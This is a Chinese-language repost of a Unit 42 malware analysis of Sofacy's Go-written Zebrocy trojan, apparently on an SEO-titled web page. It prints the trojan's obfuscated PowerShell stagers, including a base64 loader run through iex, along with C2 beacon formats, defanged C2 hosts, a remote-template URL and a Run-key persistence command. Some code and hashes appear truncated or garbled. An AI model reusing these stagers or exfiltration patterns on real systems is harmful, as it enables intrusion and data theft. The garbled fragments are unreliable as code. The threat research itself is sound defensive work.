Palo Alto Networks下属的Unit 42威胁研究小组周二(12月18日)宣布,Sofacy组织仍在使用Zebrocy木马继续攻击。

无论是在2018年第一季度的攻击活动中,还是在10月底和11月初的攻击活动中,都出现了该木马的身影。最近,Zebrocy的开发人员再次使用不同的编程语言——Go语言创建了一个新的Zebrocy变种。需要说明的是,使用不同的编程语言来创建具有类似功能的木马变种对于该组织来说并是什么新鲜事。因为,Unit 42在此前的攻击活动中就已经看到了使用AutoIt、Delphi、VB.NET、C#和Visual C++等不同编程语言创建的各种Zebrocy变种。虽然,Unit 42还不能完全确定Sofacy组织这样做的目的。但他们认为,该组织之所以会选择使用多种编程语言来创建他们的木马,极有可能是为了增加其木马逃过安全检测的机率。

到目前为止,Unit 42一共观察到了两波旨在传播Go Zebrocy变种的攻击。第一波攻击发生在10月11日,攻击媒介是一封以一个LNK快捷方式文件作为其附件的鱼叉式网络钓鱼电子邮件。这个LNK文件被用于运行多个PowerShell脚本,以提取将要安装和执行的payload。但是,由于这些PowerShell脚本存在编码错误,因此它们无法正确安装或执行payload。换句话来说,在本文中讨论的攻击是不可能取得成功的,但其技术细节仍值得探讨,因为这有助于我们掌握Sofacy攻击活动的发展趋势。值得一提的是,其中一个Go Zebrocy样本与此前Sofacy组织在10月中旬到11月中旬进行的Dear Joohn行动联系在了一起。

第一波攻击

这起攻击发生在2018年10月11日,攻击媒介是一封鱼叉式网络钓鱼电子邮件,讨论的是美国新制裁对俄罗斯经济的影响。“From(发件人)”字段和正文末尾的签名均包含目标组织工作人员的姓名,而“To(收件人)”字段为空。这使得Unit 42有理由相信,目标个人被包含在了“Bcc(抄送)”字段中。图1展示的是在这起攻击中使用的钓鱼电子邮件。

图1 .在Go Zebrocy攻击中使用的钓鱼电子邮件

Payload

恶意文件ПротиводействиеДумыСанкциямСША.doc(SHA256:d77eb89501b0a60322bc69692007b9b7f1b5a85541a2aaf21caf7baf0fe0049e)试图伪装成Word文档,但该文件实际上是一个LNK快捷方式文件。在被打开之后,它会尝试在命令提示符中运行以下命令行:

-nop -w 1 $i853=[TeXt.EnCoDING]::utF8.geTStrInG([conVErT]::frOmbaSE64stRing('JHAxLCRwMj0zNjU5LDY5MjQ3NjQ7JHBhdGhUb0xOSz0nQzUgcmVnaW9uYWwgY29uZmVyZW5jZSBhbmQgdHJhaW5pbmcgd29ya3Nob3Agb24gY29tbXVuaXR5IHBvbGljaW5nKDEpLmRvY3gubG5rJztpZigtbk9UKFRlU3QtcEF0SCAkcGF0aFRvTE5LKSl7JERpckQ9R2VULUNISUxkSVRFTSAtcEF0aCAkZW52OnRlbXAgLWZpTFRlciAkcGF0aFRvTE5LIC1yRWNVclNFO1tpTy5kaVJlY3RvUlldOjpzRVRDVXJyZW50RElyRWN0b1JZKCREaXJELmRJcmVDVE9SWU5BTWUpO30kRmlsZVN0cmVhbWE9bkV3LW9iakVDVCBpby5mSUxlU1RyZUFtICRwYXRoVG9MTkssJ09wZU4nLCdSZUFkJywncmVhRHdSSVRFJzskQXJyYXlNYXM9TkV3LW9iamVjVCBieVRFW10oJHAyKTskRmlsZVN0cmVhbWEuU0VlSygkcDEsW2lvLlNlRUtvUmlHaW5dOjpCRUdpbik7JEZpbGVTdHJlYW1hLnJFQUQoJEFycmF5TWFzLDAsJHAyKTskQXJyYXlNYXM9W0NvbnZlclRdOjpGck9tYmFzRTY0Q0hhckFyUkF5KCRBcnJheU1hcywwLCRBcnJheU1hcy5MZU5HVGgpOyRkdWFjYWp1QT1bdGV4VC5FbkNPZEluR106OlVuaWNvZGUuZ0VUc3RSSW5nKCRBcnJheU1hcyk7aWVYICRkdWFjYWp1QTs='));ieX $i853;

接下来,它会使用一个PowerShell脚本对第二个PowerShell脚本进行base64解码,并执行它。第二个PowerShell脚本解码后的内容如下:

$p1,$p2=3659,6924764;$pathToLNK='C5 regional conference and training workshop on community policing(1).docx.lnk';if(-nOT(TeSt-pAtH $pathToLNK)){$DirD=GeT-CHILdITEM -pAth $env:temp -fiLTer $pathToLNK -rEcUrSE;[iO.diRectoRY]::sETCUrrentDIrEctoRY($DirD.dIreCTORYNAMe);}$FileStreama=nEw-objECT io.fILeSTreAm $pathToLNK,'OpeN','ReAd','reaDwRITE';$ArrayMas=NEw-objecT byTE[]($p2);$FileS($p1,[io.SeEKoRiGin]::BEGin);$FileS($ArrayMas,0,$p2);$ArrayMas=[ConverT]::FrOmbasE64CHarArRAy($ArrayMas,0,$ArrayMas.LeNGTh);$duacajuA=[]::Unicode.gETstRIng($ArrayMas);ieX $duacajuA;

第二个PowerShell脚本脚本会尝试直接从上述LNK文件中提取另一个PowerShell脚本,然后执行它。但由于某种未知的原因,第二个PowerShell脚本包含的是一个错误的LNK文件名——C5 regional conference and training workshop on community policing(1).docx.lnk,而不是上述ПротиводействиеДумыСанкциямСША.doc。由于该LNK文件名与电子邮件附件的文件名不匹配,因此攻击不会取得成功,因为第二个PowerShell脚本将无法提取到将要安装在系统上的payload。Unit 42怀疑,C5 regional conference and training workshop on community policing(1).docx.lnk可能是在早期活动中被使用过的恶意文档,而Zebrocy的开发人员似乎忘了对它进行修改似乎忘了对它进行修改。

如果该脚本包含的是正确的文件名,那么它将使用硬编码偏移量“3659”找到LNK文件中的PowerShell脚本,然后提取并执行它。从LNK文件中提取的最后一个PowerShell脚本包含以下内容(为了便于查看,Unit 42在这里使用“[..snip ..]”替换了一些数据):

$6vlJwyyB = @('C5 regional conference and training workshop on community policing(1).exe','C5 regional conference and training workshop on community policing(1).docx');$TcCd3Fej = "C5 regional conference and training workshop on community policing(1).exe";$Aq3NkyDG = @("TVqQAAMA[..snip..]","UEsDBBQABgAIAA[..snip..]");$ggdDQhlx = "C5 regional conference and training workshop on community policing(1).docx";FOR($I=0;$I -lt $6vLjwYYb.LengTH;$i++){[BYtE[]]$YGktk0Nk = [cOnveRt]::frOmBaSE64StriNg($aq3nkYDg[$I]);[]::WrItEaLlbYtES($EnV:pUbLIc+""+$6VLJwYYB[$I],$YGktK0nk);}$qsVmUm76 = $Env:public+""+$tCcd3Fej;$GGdDQhLxPatH = $env:publIC+""+$gGddQHLX;staRT-pROCess -wINDowstylE HIDdeN -FIlepAth $qsVMuM76;StART-ProceSs -FilepaTh $GgDdQHlxpATH;

最后一个PowerShell脚本被用于解码将要写入%PUBLIC%文件夹中的一个可执行文件和一份Word文档,它们的文件名分别为C5 regional conference and training workshop on community policing(1).exe和C5 regional conference and training workshop on community policing(1).docx。解码后的Word文档内容(SHA256:b6b2f6aae80cba3fa142bd216decc1f6db024a5ab46d9c21cf6e4c1ab0bbe58b)如图2所示,看上去是一份会议议程。该会议于2018年6月18日至20日在塔吉克斯坦杜尚别举行,由安全世界国际组织(Saferworld)和美国和平研究所(United States Institute of Peace,USIP)主办。

图2.在 Go Zebrocy安装过程中打开的诱饵文档

而解码后的可执行文件便是payload(SHA256:fcf03bf5ef4babce577dde957fd2c855624c9f0573880b8cba62e),它是使用Go语言编写的,是Zebrocy木马的另一个变种。使用另一种编程语言来创建具有类似功能的木马变种对于Sofacy组织来说很平常,正如我们所看到的那样,该组织此前已经使用AutoIt、Delphi、VB.NET、C#和Visual C++创建了多个不同的Zebrocy变种。

这个payload与此前的Zebrocy变种之间存在大量的相似之处。与其他Zebrocy变种一样,这个采用Go语言编写的Zebrocy变种也会在受感染系统上进行初始信息收集,并将这些信息传输给C2服务器,以及尝试从C2下载、安装和执行其他payload。此外,Go Zebrocy一些行为方面也与其他变种之间存在一些相似之处,这包括:

  • 使用十六进制ASCII码混淆字符串
  • 使用的卷序列号不包含从VOL命令中获取到的连字符
  • 使用来自出站C2 beacon中的“systeminfo”和“tasklist”的输出
  • 在C2 beacon中使用字符串“PrgStart”

Go Zebrocy和其他变种之间最明显的相似之处在于使用了一个相同的C2 URL——hxx[.]148/technet-support/library,这个URL同样也被Delphi Zebrocy变种样本de31a8a9110b32a82843e9216a3378cc1c5ea972a6bb2261ec111efb82f31e71和daf990f0b6564c3ac87fa87e325e6ffc907ed43ae65a3f088a42b5b120612593所使用。

Go Zebrocy试图通过检查其进程的可执行文件名中是否包含“)”字符来逃避自动分析。如果文件名不包含“)”字符,那么它会立即退出,而不执行其功能代码。

另一方面,这个Zebrocy变种使用了HTTP POST请求来与其C2进行交互,而收集的系统信息就包含在HTTP POST请求中。具体来说,这些系统信息包括:

  • 通过“tasklist”命令收集的正在运行的进程。
  • 通过“systeminfo”命令的收集系统信息。
  • 通过WMI命令“wmic logicaldisk get caption,description,drivetype,providername,size”收集的本地磁盘信息。
  • 使用开源Go库抓取的桌面屏幕截图。

Go Zebrocy与其C2之间的C2通信具有如下结构:

POST /technet-support/library[serial number from VOL command with hyphen removed] HTTP

Host: 89.37.226[.]148

User-Agent: Go-http-client

Content-Length: 570690

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip

attach=PrgStart%3A[运行木马的路径]%0D%0A%5B[当前时间]%5D%0D%0A%0D%0A[来自“wmic logicaldisk get caption,description,drivetype,providername,size命令的结果”]%0D%0D%0A%0D%0D%0A%0D%0A%0D%0A[来自“systeminfo”命令的结果]%0D%0A%0D%0A%0D%0A[来自“tasklist”命令的结果]%0D%0A&support=[转换为十六进制ASCII码的屏幕截图]

C2将以十六进制ASCII码编码的payload作为对此HTTP POST请求的响应, payload将被解码并保存为如下文件:

%APPDATA%Identities{83AF1378-986F-1673-091A-02681FA62C3B}w32

然后,payload 将使用golang os/exec执行这个新创建的文件,其中涉及到使用“Command”和“Run”函数运行以下命令行:

cmd /C %APPDATA%Identities{83AF1378-986F-1673-091A-02681FA62C3B}w32

第二波攻击

如上所述,Unit 42观察到的第二波旨在传播Go Zebrocy变种的攻击与其之前讨论过的“Dear Joohn行动”存在一定联系。虽然Dear Joohn行动发生在2018年10月中旬至11月中旬,而用于传播Go Zebrocy变种的恶意文档(SHA256:346e5dc097b8653842b5b4acfad21e223b7fca976fb82b8c10d9fa4f3747dfa0)是在12月3日创建的,但该恶意文档同样使用了Joohn这个作者名。

与Dear Joohn行动一样,该恶意文档也会通过HTTP下载一个远程模板(SHA256:07646dc0a8c8946bb78be9b96147d4327705c1a3c3bd3fbcedab32c43d914305),而该模板同样使用了出现在Dear Joohn行动中的作者名:xxx。在打开该恶意文档之后,可以看到如图3所示的诱饵图片,它旨在诱使收件人点击“Enable Content(启用内容)”,以运行包含在远程模板中的恶意宏。

图3.旨在诱使收件人用户点击“Enable Content(启用内容)”按钮的诱饵图片

恶意文档被配置为从hxxps://bit[.]ly/2G8QrgL下载远程模板,如下图所示(这个短网址包含在文档的word/_rel文件中):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<Relationships xmlns=";><Relationship Id="rId1" Type="; Target="hxxps://bit[.]ly/2G8QrgL" TargetMode="External"/></Relationships>

上述hxxps://bit[.]ly/2G8QrgL短网址会重定向到一个托管远程模板hxx[.]123/Template的URL。值得注意的是,此前出现在Dear Joohn行动中的恶意文档并没有使用短网址来下载远程模板,这表明在此行动中使用的技术已经发生了改变。幸运的是,这个短网址为Unit 42提供了一些有关访问者及其所处国家的统计数据。如图4所示,这个短网址是在2018年12月3日下午12:56创建的,截止到2018年12月5日,一共被访问了75次,其中大部分来自土耳其。

图4.短网址的访问统计数据(2018年12月5日)

通过这个短网址下载的远程模板包含一个类似于出现在Dear Joohn行动中的恶意宏。不同之处在于,它被用于从远程模板(SHA256:c817aab6e8dcaeaeae817a85ba209c0ca690be58b91e6cff0e3f0660336f9506)中提取一个ZIP压缩文件 ,并将其保存为driver_。这个ZIP压缩文件包含一个名为“driver_”的可执行文件(SHA256:b48b3d46ebfa6af8a25c007f77e6ed3c32fe4c6478311b8b0c7d6f4f8c82de76),而它实际上是一个WinRAR SFX可执行文件,其中包含另一个名为“com”的可执行文件。这个WinRAR SFX存档会使用以下SFX脚本来提取comsvc​​.exe payload:

Path=%APPDATA%AppHistory

Setup=com

Silent=1

Overwrite=2

上述comsvc​​.exe可执行文件(SHA256:93680d34d798a22c618c96dec724517829ec3aad71215213a2dcb1eb190ff9fa)实际上是一个经过UPX加壳的Go Zebrocy样本(SHA256: 15a866c3c18046022a810aa97eaf2e20f942b8293b9cb6b4d5fb7746242c25b7)。该样本被用作一个downloader,负责从C2下载并执行辅助payload。

与其他Zebrocy变种一样,这个Go Zebrocy样本会检查正在运行的进程的路径是否包含“comsvc”字符串,以确保payload最终会被保存为comsvc​​.exe。如果Go Zebrocy样本不是作为comsvc​​.exe运行的,那么它会向google[.]com发送一个HTTP POST请求,而不是像其他Zebrocy变种那样会退出。Unit 42认为,这是另一种用来逃过安全检测的手段。图5展示的是Go Zebrocy样本发送给google[.]com的HTTP请求。

图5.Go Zebrocy发送给google[.]com的HTTP POST请求

对图5中的HTTP POST请求进行解码,我们可以看到发送的数据为<#0>0<##0><#1>1<##1><#2>1<##2>,并不包含任何收集的系统信息。在该样本作为com运行的情况,它将通过以下URL与C2服务器进行通信:

hxx[.]123/advance/portable_version

它能够收集硬盘卷序列号,抓取系统的屏幕截图(T1113),并使用在Github上公开可用的一个名为“psutil”的库来收集一些特定的系统信息。具体来说,它将通过调用psutil库中的Host Info函数来收集系统信息(操作系统、版本等)、系统启动时间、系统正常运行时间、系统的GUID以及正在运行的进程的ID。随后,它将通过向上述URL 发送HTTP POST请求来将收集到的信息传输给C2,数据结构如下所示:

project=%3C%230%3E4D291F48%3C%23%230%3E%3C%231%3E[硬盘卷序列号]%3C%23%230%3E%3C%231%3E[收集的系统信息]%3C%23%231%3E%3C%232%3E[JPEG格式的屏幕截图]%3C%23%232%3E

HTTP POST请求中的十六进制字符被用作分隔符,如下所示:

<#0>[硬盘卷序列号]<##0><#1>[收集的系统信息]<##1><#2>[ JPEG格式的屏幕截图]<##2>

C2将使用十六进制编码的payload作为对上述请求的响应,而Go Zebrocy会将它保存到系统并执行。另外,Go Zebrocy还会将下载的辅助payload写入以下文件:

%LOCALAPPDATA%MicrosoftFeeds{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~wcnc

在执行这个文件之前,Go Zebrocy将首先创建一个开机自启动注册表项,以便在每次用户使用以下命令行登录系统时辅助payload都能自动运行:

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionRun /v Media Center Extender Service

从C2下载的辅助payload实际上是另一个使用Go语言编写的木马(SHA256: 50d610226aa646dd643fab350b482196918305aaa86f9dbd356c78a19204cc),只是攻击者使用UPX 对它进行了加壳(SHA256: ee9218a451c455fbca45460c0a27e1881833bd2a05325ed60f30bd4d14bb2fdc)。这个辅助payload是另一个使用HTTPS而不是HTTP进行C2通信的downloader。它使用如下URL作为它的 C2,并与其进行通信。

hxx[.]186/pkg/image

通过HTTPS发送的HTTP POST请求如下图所示,它包含硬盘卷序列号的前四个字节和主机名的前四个字符,如图6所示。

图6.由辅助payload发送的HTTP POST请求

总结

Sofacy组织仍在继续使用Zebrocy木马变种来实施攻击,而Zebrocy的开发人员也仍在继续使用不同的编码语言创建该木马的新变种,比如Go语言。Zebrocy的开发人员在LNK快捷方式文件上似乎犯了一些严重的错误,导致攻击最终以失败告终。不过,无论攻击的有效性如何,对技术细节的分析仍然有助于我们预测该组织可能会在未来的攻击中使用的payload和基础设施。可以肯定的是,Sofacy组织必然会在不同的攻击活动中使用这些新的Zebrocy变种。因为,就拿Go Zebrocy变种来说,它不仅能够通过LNK快捷方式文件进行传播,而且还能够通过Word文档进行传播。

本文由 黑客视界 综合网络整理,图片源自网络;转载请注明“转自黑客视界”,并附上链接。

1.《ff9修改器,干货看这篇!俄罗斯黑客在行动:Zebrocy木马家族又添新成员,Go语言了解一下》援引自互联网,旨在传递更多网络信息知识,仅代表作者本人观点,与本网站无关,侵删请联系页脚下方联系方式。

2.《ff9修改器,干货看这篇!俄罗斯黑客在行动:Zebrocy木马家族又添新成员,Go语言了解一下》仅供读者参考,本网站未对该内容进行证实,对其原创性、真实性、完整性、及时性不作任何保证。

3.文章转载时请保留本站内容来源地址,https://www.cxvn.com/gl/djyxgl/186871.html